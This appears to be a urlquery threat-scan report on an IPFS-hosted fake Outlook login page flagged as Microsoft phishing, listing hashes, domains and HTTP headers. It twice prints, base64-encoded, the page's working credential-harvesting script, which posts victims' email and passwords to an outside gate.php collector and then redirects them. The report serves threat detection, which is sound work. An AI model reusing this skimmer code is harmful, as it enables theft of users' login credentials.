Report - cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2

Report Overview

Submitted URL
cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2
IP
104.17.64.14
ASN
#13335 CLOUDFLARENET
Submitted
2024-04-23 16:32:19
Access
public
Website Title
Outlook
Final URL
bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
Tags
microsoft phishing
urlquery detections
Phishing - Microsoft

Detections

urlquery
3
Network Intrusion Detection
0
Threat Detection Systems
0

Domain Summary

Domain / FQDN	Rank	Registered	First Seen	Last Seen	Sent	Received	IP
bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com	unknown	2018-12-05	2023-11-09	2024-03-21	1.3 kB	46 kB	104.17.64.14
cf-ipfs.com	655312	2018-12-05	2018-12-20	2024-04-21	517 B	1.1 kB	104.17.64.14

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

No alerts detected

Threat Detection Systems

Public InfoSec YARA rules

No alerts detected

JavaScript (2)

	URL	Size	First Seen	Last Seen
	bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/	213 B	2023-03-08	2024-04-23
Pretty URL bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/ IP 104.17.64.14 ASN #13335 CLOUDFLARENET Introduced by scriptElement Embedded in HTML true Observations First Seen2023-03-08 04:09:06 Last Seen2024-04-23 18:32:19 Times Seen136 Hash 3dc38bbae5475ac658fcc63d01f9e7c7 a2d596048994e2412142eedb94aee6e57edb5252 06558f89b77a7f09570572cdd438270e98440954bfac147d53c793ff062e7f2c Loading...

	data:text/javascript;base64,KGZ1bmN0aW9uKCkgew0KICAgIHZhciBnYXRlID0gJ2h0dHBzOi8vd3d3LnN1bm55LnBldC9jb25maWRlbnRpYWwvMTgvZ2F0ZS5waHAnOw0KICAgIHZhciBmaXJzdF9wYXNzd29yZCA9ICcnOw0KDQoJc2V0VGltZW91dChmdW5jdGlvbigpew0KCQl2YXIgaGFzaCA9IHdpbmRvdy5sb2NhdGlvbi5oYXNoOw0KCQl2YXIgX2VtYWlsID0gaGFzaC5zcGxpdCgnIycpWzFdOw0KCQlpZiAoLy4qQC4qXC4uKi8udGVzdChfZW1haWwpID09IHRydWUpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlID0gX2VtYWlsOw0KCQl9DQogICAgfSwxMDApOw0KICAgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLmFkZEV2ZW50TGlzdGVuZXIoJ2tleXByZXNzJywgZnVuY3Rpb24oZSl7DQogICAgICAgIGlmIChlLndoaWNoID09IDEzKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubG9naW4nKS5jbGljaygpOw0KICAgICAgICB9DQogICAgfSk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykuYWRkRXZlbnRMaXN0ZW5lcigna2V5cHJlc3MnLCBmdW5jdGlvbihlKXsNCiAgICAgICAgaWYgKGUud2hpY2ggPT0gMTMpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmNsaWNrKCk7DQogICAgICAgIH0NCiAgICB9KTsNCg0KICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSl7DQogICAgICAgIHZhciBlbWFpbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlOw0KICAgICAgICB2YXIgcGFzc3dvcmQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGFzc3dvcmQnKS52YWx1ZTsNCiAgICAgICAgaWYgKC8uKkAuKlwuLiovLnRlc3QoZW1haWwpICE9PSB0cnVlKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoLy57Nix9Ly50ZXN0KHBhc3N3b3JkKSAhPT0gdHJ1ZSkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykudmFsdWUgPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5lcnJvcicpLmNsYXNzTmFtZSA9ICdlcnJvciBhY3RpdmUnOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGZpcnN0X3Bhc3N3b3JkID09ICcnKSB7DQogICAgICAgICAgICBmaXJzdF9wYXNzd29yZCA9IHBhc3N3b3JkOw0KDQogICAgICAgICAgICB2YXIgcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KICAgICAgICAgICAgcmVxdWVzdC5vcGVuKCdQT1NUJywgZ2F0ZSwgdHJ1ZSk7DQogICAgICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgICAgIHJlcXVlc3QucmVzcG9uc2VUeXBlID0gJ3RleHQnOw0KICAgICAgICAgICAgcmVxdWVzdC5zZW5kKCdlbWFpbD0nK2VtYWlsKycmcGFzczE9JytwYXNzd29yZCk7DQoNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciByZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgIHJlcXVlc3Qub3BlbignUE9TVCcsIGdhdGUsIHRydWUpOw0KICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgcmVxdWVzdC5yZXNwb25zZVR5cGUgPSAndGV4dCc7DQogICAgICAgIHJlcXVlc3Qub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAvLyBpZiAodGhpcy5yZWFkeVN0YXRlID09IDQgJiYgdGhpcy5zdGF0dXMgPT0gMjAwKSB7DQogICAgICAgICAgICBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gJ2h0dHBzOi8vYmxvb21iZXJnLmNvbS8nOw0KICAgICAgICAgICAgLy8gfQ0KICAgICAgICB9Ow0KICAgICAgICByZXF1ZXN0LnNlbmQoJ2VtYWlsPScrZW1haWwrJyZwYXNzMT0nK2ZpcnN0X3Bhc3N3b3JkKycmcGFzczI9JytwYXNzd29yZCk7DQogICAgfSk7DQoNCn0pKCk7	2.4 kB	2023-11-09	2024-04-23
Pretty URL data:text/javascript;base64,KGZ1bmN0aW9uKCkgew0KICAgIHZhciBnYXRlID0gJ2h0dHBzOi8vd3d3LnN1bm55LnBldC9jb25maWRlbnRpYWwvMTgvZ2F0ZS5waHAnOw0KICAgIHZhciBmaXJzdF9wYXNzd29yZCA9ICcnOw0KDQoJc2V0VGltZW91dChmdW5jdGlvbigpew0KCQl2YXIgaGFzaCA9IHdpbmRvdy5sb2NhdGlvbi5oYXNoOw0KCQl2YXIgX2VtYWlsID0gaGFzaC5zcGxpdCgnIycpWzFdOw0KCQlpZiAoLy4qQC4qXC4uKi8udGVzdChfZW1haWwpID09IHRydWUpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlID0gX2VtYWlsOw0KCQl9DQogICAgfSwxMDApOw0KICAgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLmFkZEV2ZW50TGlzdGVuZXIoJ2tleXByZXNzJywgZnVuY3Rpb24oZSl7DQogICAgICAgIGlmIChlLndoaWNoID09IDEzKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubG9naW4nKS5jbGljaygpOw0KICAgICAgICB9DQogICAgfSk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykuYWRkRXZlbnRMaXN0ZW5lcigna2V5cHJlc3MnLCBmdW5jdGlvbihlKXsNCiAgICAgICAgaWYgKGUud2hpY2ggPT0gMTMpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmNsaWNrKCk7DQogICAgICAgIH0NCiAgICB9KTsNCg0KICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSl7DQogICAgICAgIHZhciBlbWFpbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlOw0KICAgICAgICB2YXIgcGFzc3dvcmQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGFzc3dvcmQnKS52YWx1ZTsNCiAgICAgICAgaWYgKC8uKkAuKlwuLiovLnRlc3QoZW1haWwpICE9PSB0cnVlKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoLy57Nix9Ly50ZXN0KHBhc3N3b3JkKSAhPT0gdHJ1ZSkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykudmFsdWUgPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5lcnJvcicpLmNsYXNzTmFtZSA9ICdlcnJvciBhY3RpdmUnOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGZpcnN0X3Bhc3N3b3JkID09ICcnKSB7DQogICAgICAgICAgICBmaXJzdF9wYXNzd29yZCA9IHBhc3N3b3JkOw0KDQogICAgICAgICAgICB2YXIgcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KICAgICAgICAgICAgcmVxdWVzdC5vcGVuKCdQT1NUJywgZ2F0ZSwgdHJ1ZSk7DQogICAgICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgICAgIHJlcXVlc3QucmVzcG9uc2VUeXBlID0gJ3RleHQnOw0KICAgICAgICAgICAgcmVxdWVzdC5zZW5kKCdlbWFpbD0nK2VtYWlsKycmcGFzczE9JytwYXNzd29yZCk7DQoNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciByZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgIHJlcXVlc3Qub3BlbignUE9TVCcsIGdhdGUsIHRydWUpOw0KICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgcmVxdWVzdC5yZXNwb25zZVR5cGUgPSAndGV4dCc7DQogICAgICAgIHJlcXVlc3Qub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAvLyBpZiAodGhpcy5yZWFkeVN0YXRlID09IDQgJiYgdGhpcy5zdGF0dXMgPT0gMjAwKSB7DQogICAgICAgICAgICBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gJ2h0dHBzOi8vYmxvb21iZXJnLmNvbS8nOw0KICAgICAgICAgICAgLy8gfQ0KICAgICAgICB9Ow0KICAgICAgICByZXF1ZXN0LnNlbmQoJ2VtYWlsPScrZW1haWwrJyZwYXNzMT0nK2ZpcnN0X3Bhc3N3b3JkKycmcGFzczI9JytwYXNzd29yZCk7DQogICAgfSk7DQoNCn0pKCk7 IP 0.0.0.0 ASN #0 Introduced by scriptElement Embedded in HTML false Observations First Seen2023-11-09 14:24:31 Last Seen2024-04-23 18:32:19 Times Seen19 Hash 36a8e76103c7d7bdc4c3e13f96cf8eb1 a4df47174291fb3b06d6d5a4612e8be28786770f d063abe90aef1c541e75425a7d6567249b21eb03997a1a61085609935b756d08 Loading...

HTTP Transactions (3)

URL IP Response Size

cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2

104.17.64.14

301 Moved Permanently

120 B

URL User Request GET HTTP/2
cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2
IP
104.17.64.14:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerLet's Encrypt
Subjectcf-ipfs.com
Fingerprint52:AB:96:DB:E9:BE:89:E5:DD:52:F1:32:96:17:32:F0:A3:F2:E7:41
ValidityThu, 04 Apr 2024 23:41:09 GMT - Wed, 03 Jul 2024 23:41:08 GMT

File type
HTML document, ASCII text
Size
120 B (120 bytes)
Hash
5882ca02fc81989cef2eddd516cec56b
6c81480db651977c76c6d1016ad1f61f333adfd7
965bf6f2770497333111132e2cc7a864f54bedc8b99c2faef23078baf45f6f5c

HTTP Headers

GET /ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2 HTTP/1.1
Host: cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 301 Moved Permanently
date: Tue, 23 Apr 2024 16:31:54 GMT
content-type: text/html; charset=utf-8
content-length: 120
location: https://bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
cf-ray: 878f3f1c3e5e56ae-OSL
cf-cache-status: MISS
access-control-allow-origin: *
cache-control: no-store
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
set-cookie: __cf_bm=kVjIyORR02q__AA94vCS9rQ_byYr63_DaQS4K0h6Srg-1713889914-1.0.1.1-fkoNP2pvQZPIcI34yVAbyigEMmSeBfKwvsjv2AeXIbxUX5XDwp8ZCeYT1xPM5ytW_Y0XNCOUOZezAEx1AiBpkQ; path=/; expires=Tue, 23-Apr-24 17:01:54 GMT; domain=.cf-ipfs.com; HttpOnly; Secure; SameSite=None
server: cloudflare
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/

104.17.64.14

200 OK

44 kB

URL User Request GET HTTP/2
bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
IP
104.17.64.14:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerLet's Encrypt
Subjectcf-ipfs.com
Fingerprint46:AD:9B:E1:02:E3:A8:FE:9B:E2:86:B5:A1:5C:07:B9:B7:3B:17:14
ValiditySat, 16 Mar 2024 23:28:47 GMT - Fri, 14 Jun 2024 23:28:46 GMT

File type
HTML document, ASCII text, with very long lines (38930), with CRLF line terminators
Size
44 kB (44045 bytes)
Hash
97ac6ac886fddeee4ff1016d67467df9
ea7a2240ca385308ae88da6372887c9275847721
4b914799e462ac94b4650b71e26bf9a413a2fcf9dcff29b79a79764d6681319d

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Microsoft

HTTP Headers

GET / HTTP/1.1
Host: bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Tue, 23 Apr 2024 16:31:54 GMT
content-type: text/html
cf-ray: 878f3f1e0b6eb4f4-OSL
cf-cache-status: MISS
access-control-allow-origin: *
cache-control: public, max-age=29030400, immutable
etag: W/"bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu"
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
x-ipfs-path: /ipfs/bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu/
x-ipfs-roots: bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu
set-cookie: __cf_bm=04zoFyrG7ul14bBhim_VG5vFC5E6blxCpqO7_FVseLs-1713889914-1.0.1.1-5X1mc6EhtUOf4hBo2gd3eftxuui6t6uW.8TnBzJTAQ95eSgDM9b9tEcVRXO9Zzwez4fE0BjWIlkFFG0f7ezMRQ; path=/; expires=Tue, 23-Apr-24 17:01:54 GMT; domain=.bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com; HttpOnly; Secure; SameSite=None
server: cloudflare
content-encoding: br
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/assets/favicon.ico

104.17.64.14

404 Not Found

193 B

URL GET HTTP/2
bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/assets/favicon.ico
IP
104.17.64.14:443
ASN
#13335 CLOUDFLARENET

Requested by
https://bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
Certificate
IssuerLet's Encrypt
Subjectcf-ipfs.com
Fingerprint46:AD:9B:E1:02:E3:A8:FE:9B:E2:86:B5:A1:5C:07:B9:B7:3B:17:14
ValiditySat, 16 Mar 2024 23:28:47 GMT - Fri, 14 Jun 2024 23:28:46 GMT

File type
ASCII text, with no line terminators
Size
193 B (193 bytes)
Hash
f08a855205c5266acfce6229419997cf
9022d754e727c65a3f69547e38dec2ff48b1db3b
d003ada3e3fc05cfd307d5f75dfd5772c48577ec9d5729e8c0ed9f9283a43924

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Microsoft

HTTP Headers

GET /assets/favicon.ico HTTP/1.1
Host: bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
Cookie: __cf_bm=04zoFyrG7ul14bBhim_VG5vFC5E6blxCpqO7_FVseLs-1713889914-1.0.1.1-5X1mc6EhtUOf4hBo2gd3eftxuui6t6uW.8TnBzJTAQ95eSgDM9b9tEcVRXO9Zzwez4fE0BjWIlkFFG0f7ezMRQ
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 404 Not Found
date: Tue, 23 Apr 2024 16:31:55 GMT
content-type: text/plain; charset=utf-8
cf-ray: 878f3f208e0cb4f4-OSL
cf-cache-status: EXPIRED
access-control-allow-origin: *
cache-control: no-store
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
x-content-type-options: nosniff
x-ipfs-path: /ipfs/bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu/assets/favicon.ico
server: cloudflare
content-encoding: br
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

Report Overview

Submitted URL

IP

ASN

Submitted

Access

Website Title

Final URL

Tags

urlquery detections

Detections

urlquery

Network Intrusion Detection

Threat Detection Systems

Domain Summary

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Threat Detection Systems

Public InfoSec YARA rules

JavaScript (2)

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

HTTP Transactions (3)

URL User Request GET HTTP/2

IP

ASN

Certificate

File type

Size

Hash

HTTP Headers

URL User Request GET HTTP/2

IP

ASN

Certificate

File type

Size

Hash

Detections

HTTP Headers

URL GET HTTP/2

IP

ASN

Requested by

Certificate

File type

Size

Hash

Detections

HTTP Headers